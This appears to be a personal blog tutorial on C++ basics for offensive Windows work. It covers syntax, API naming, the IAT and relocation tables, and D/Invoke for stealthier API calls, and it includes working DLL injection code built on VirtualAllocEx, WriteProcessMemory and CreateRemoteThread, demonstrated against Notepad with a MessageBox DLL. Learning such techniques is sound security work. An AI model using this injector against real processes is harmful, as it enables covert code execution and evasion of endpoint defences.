Deez WORDS – An Intro To C++

When I first started learning C++, I found a lot of the terms hard to pick up after using C# and Python for so long. Given some of the conventions are not all that visible, I figured it would be handy to pull them together into a cheatsheet/blog post.

In this post I will cover those basic terms, as well as some terminology for offensive C++ and finally cover a basic example of process injection, using DLL Injection.

Syntax

Below are some examples of the syntax used within C++.

PhraseMeaningExample
->Access members of a structure or union using a pointer.
This is basically the same as doing object.parameter in most OOP languages, though most OOP languages don’t support pointers.
p_foo->bar
.Access members of a structure or union. The same as doing object.parameter in most OOP languagesp_foo.bar
&Depends on where it is used. In functions it would mean a reference to an object.
For example, someFunc(&myParam) would pass a reference to the myParam variable.
&foo_bar
*A pointer. Generally it is recommended to use references where possible!string* foo
::The ‘Scope Resolution Operator’, used to clarify which namespace the function belongs to.std::cout
<<Used with std::cout to write to the ‘standard output’. Aka print something to the console 
>>Used with std::cin to read from the ‘standard input’. Aka reading from the console. Similar to input() in python. 
Std::Core functions within C++std::cout
L""The string will be stored as wchar_t characters.L"Some Value"
#pragma Allows for additional information to be provided to the compiler#pragma once
#include Include a header file when compiling the code. Conceptually similar to using within C# or import in Python#include <Windows.h>

API Naming Conventions

Windows APIs come in many flavours, and it can be hard to know which one to use at the start! Some of the most common prefixes and suffixes are below. A further reference can be found here.

PhraseMeaningExample
Nt*Functions within ntdll.dll. These are mostly undocumentedNtOpenProcess
Zw*See above, the prefix ‘Zw’ was chosen so as not to clash with other function names.ZwOpenProcess
*AFunctions which use ANSI strings Parameters will follow the variable format of ‘LPC_’, for example any strings would be the LPCSTR typeMessageBoxA
*WFunctions which use Unicode strings This is the default character encoding used in Windows Parameters will follow the variable format of ‘LPCW_’, for example any strings would be the LPCWSTR typeMessageBoxW
*ExTypically handles overloaded/extended versions of a function. I.e. NtCreateThreadEx contains additional options over NtCreateThread.NtCreateThreadEx

NtFunctionName refers to functions within ntdll.dll. For example we can call OpenProcess via kernel32.dll, which will ultimately call NtOpenProcess via ntdll.dll.

Variables

There are a huge number of variable types within C++, the Microsoft documentation covers them well.

Naming Conventions

A lot of guides and documentation make use of ‘Hungarian Notation’, where the data type is included in the variable name (e.g. hProcessInfo, for a handle to the process information or a PROCESS_INFORMATION structure). This is discouraged by Microsoft, but it is still widely used!

Microsoft does have a handy list of common prefixes, some of the most common ones are:

ExampleMeaning
lp*A Long pointer value
b*A boolean value
dw*DWORD
h*A Handle
cb*Count of bytes (e.g. To store how many bytes to allocate for something)

IAT & Reloc

Two key parts of PE injection are the Import Address Table (IAT) and the Base Relocation Table (Reloc Table). MalwareTech has a great explanation of these, which I will paraphrase here.

IAT

The IAT contains addresses of all the functions within the DLL, so that when the PE is loaded the addresses can be easily found & loaded, without having to modify the code of the DLL. This can be ‘poisioned’ by a technique known as IAT hooking.

Reloc Table

Whilst most addresses used within a DLL are relative, some will use absolute memory addresses. This table tracks the absolute addresses used in the DLL. I found this a somewhat confusing concept to get into my mind, but this StackOverflow answer contains a helpful diagram to show how RVA’s, blocks and offsets work together!

P/Invoke vs D/Invoke

P/Invoke (Platform Invoke)

This is basically a way of calling C/C++ APIs directly from C# ‘code’. It is produced by Microsoft, who officially describe it as:

“P/Invoke is a technology that allows you to access structs, callbacks, and functions in unmanaged libraries from your managed code”

https://learn.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke

P/Invoke allows us to take greater control over the way in which the underlying Windows APIs are called by compiled C# code. We can call functions in very specific ways that might not otherwise be supported with vanilla C# alone.

D/Invoke (Dynamic Invoke)

Dynamic Invocation (or D/Invoke) is detailed by The Wover in their blog post introducing the toolset. This is described as:

Presenting DInvoke, a new API in SharpSploit that acts as a dynamic replacement for PInvoke. Using it, we show how to dynamically invoke unmanaged code from memory or disk while avoiding API Hooking and suspicious imports.

https://thewover.github.io/Dynamic-Invoke/

It is maintained by The Wover as part of an open-source project. Its main aim is to prevent suspicious API calls being included in the Import Address Table (IAT) of the executable. This means that unmanaged code (aka C/C++ ‘code’) can be called directly from C# in a more stealthy way.

Making A Basic DLL

Before we start playing with process injection, we want a DLL which will show it has run successfully. For this I will use a MessageBox as it is very visible!

There are several examples out there for how to make a DLL, but I wanted to learn how to do it myself:

I struggled with this, until I realised that the new Universal Windows Platform DLLs have a number of quicks over the ‘classic’ DLLs. This was solved by downloading the C++ Development Plugins for Visual Studio. We can then create a basic DLL using the following code

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <pch.h>

extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            MessageBox(NULL, L"Hello world!", L"Hello World!", NULL);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

We can compile it in Visual Studio and test it works with the command rundll32.exe DLL_NAME.exe,DllMain

Getting a PID from a process name

To resolve a process name into a PID, we can use the section of code below from Sevagas. This is pretty much boiler plate code, but it will help us when debugging our injection techniques (as we don’t have to hard code or supply a new PID each time!). This is purely optional in our process injection technique, as we can instead just supply the PID we want to target.

// Standard function to get a PID from a executable name
// We can avoid this by supplying the PID directly.

DWORD GetProcessIdByName(LPCWSTR name)
{
	PROCESSENTRY32 pe32;
	HANDLE snapshot = NULL;
	DWORD pid = 0;

	snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (snapshot != INVALID_HANDLE_VALUE)
	{
		pe32.dwSize = sizeof(PROCESSENTRY32);

		if (Process32First(snapshot, &pe32))
		{
			do
			{
				if (!lstrcmp(pe32.szExeFile, name))
				{
					pid = pe32.th32ProcessID;
					break;
				}
			} while (Process32Next(snapshot, &pe32));
		}
		CloseHandle(snapshot);
	}
	return pid;
}

DLL Injection

This is the ‘classic’ process injection technique, as covered by T1055.001. Below is a high level view of the APIs we will call to perform this type of process injection. Don’t worry if a lot of this seems alien, we will cover it later on!

Process

  1. Drop our malicious DLL to disk
  2. Here we can provide a PID of a process to inject into, or find a target process to inject into programatically
  3. If we want to auto-find a process to inject into, then we need to:
    1. Use 3 key APIs (CreateToolhelp32Snapshot, Process32First, and Process32Next)
    2. CreateToolhelp32Snapshot creates a snapshot of all processes.
    3. The other two iterate over those processes.
  4. Use VirtualAllocEx to allocate memory to write a path to the DLL on disk from step 1
  5. Then WriteProcessMemory to actually write the path to the DLL into the space we just allocated
  6. Then use CreateRemoteThread or RtlCreateUserThread to execute the DLL we just loaded
    1. Under the hood, both of these functions call NtCreateThreadEx.
    2. CreateRemoteThread will run into issues when attempting to inject into processes from a different session from Vista onwards (Link 1, Link 2). To do this in Vista+, we need to use NtCreateThreadEx.
    3. As pointed out by this post, Mimikatz uses RtlCreateUserThread under the hood
  7. This in turn will run LoadLibrary in the remote process and load our DLL.

Code

Using iRed Team’s post for guidance, lets make our own DLL Injection script. This example will take 1 argument (argv[1]), which is the PID to inject into.

#include <iostream>
#include <Windows.h>

int main(int argc, char* argv[])
{
	wchar_t dllPath[] = TEXT("C:\\Users\\User\\Documents\\Excluded\\MessageBox.dll");
	printf("Injecting DLL to PID: %i\n", atoi(argv[1]));

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	PVOID pAllocatedMemory = VirtualAllocEx(hProcess, NULL, (sizeof dllPath + 1), MEM_COMMIT, PAGE_READWRITE);
	if (!WriteProcessMemory(hProcess, pAllocatedMemory, (LPVOID)dllPath, sizeof dllPath, NULL)) {
		std::cerr << "WriteProcessMemory failed, unable to write DLL to targeted PID!";
	}

	PTHREAD_START_ROUTINE threadStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	CreateRemoteThread(hProcess, NULL, 0, threadStartRoutineAddress, pAllocatedMemory, 0, NULL);
	CloseHandle(hProcess);

	return 0;
}

Using this code, we can only inject our DLL once, as repeated calls will not cause the DLL’s entry point to be called again using the code above!

Lets spawn a process to leverage, in this case we will use Notepad. This is created under PID 8052.

To demo this, I will debug the code and manually set our PID value. First off, I will set a break point in Visual Studio after the call to VirtualAllocEx. We do this by clicking in the far left of the window in the greyed area. This will allocate a region of memory which we will use to store the file path to our DLL (line 11) which we want to execute (Line 16).

Here we can hover over the pAllocatedMemory variable to see its value is 0x000002363ed70000. Using Process Hacker, I will double click on the Notepad process and then go to the Memory tab. We can see a region of memory has been created at this address, and the path to the DLL written into it.

Ignore the altered PID of 13140 here!

We will click resume to continue execution after this breakpoint and we get a message box from our DLL. There is some slightly funky looking code going on here. We will load a pointer to the API we want to call, then create a thread and pass it the pointer to API we want to call and parameters for it.

We start with a line of code to load a pointer to the LoadLibraryW function:

PTHREAD_START_ROUTINE threadStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

If we take a look at the documentation for this function, we can see it accepts a single parameter, which is the library to be loaded:

With the next line of code, we will create a remote thread and point it at the LoadLibraryW function (4th param), passing the contents of pAllocatedMemory as the arguments to this function call (5th param). From earlier on, we know the contents of pAllocatedMemory is the file path to the DLL we want to load.

CreateRemoteThread(hProcess, NULL, 0, threadStartRoutineAddress, pAllocatedMemory, 0, NULL);

If we take a look at the documentation for CreateRemoteThread, we can see these parameters explained.

Pros vs Cons

Pros

  • Lots of examples on the internet
  • Easy to learn from
  • Easy to implement
  • It works?! (If AV/EDR is turned off)

Cons

  • Extremely well signatured
  • Very suspicious looking
  • Not cool
  • The DLL is dropped to disk, making it more likely to be detected

Links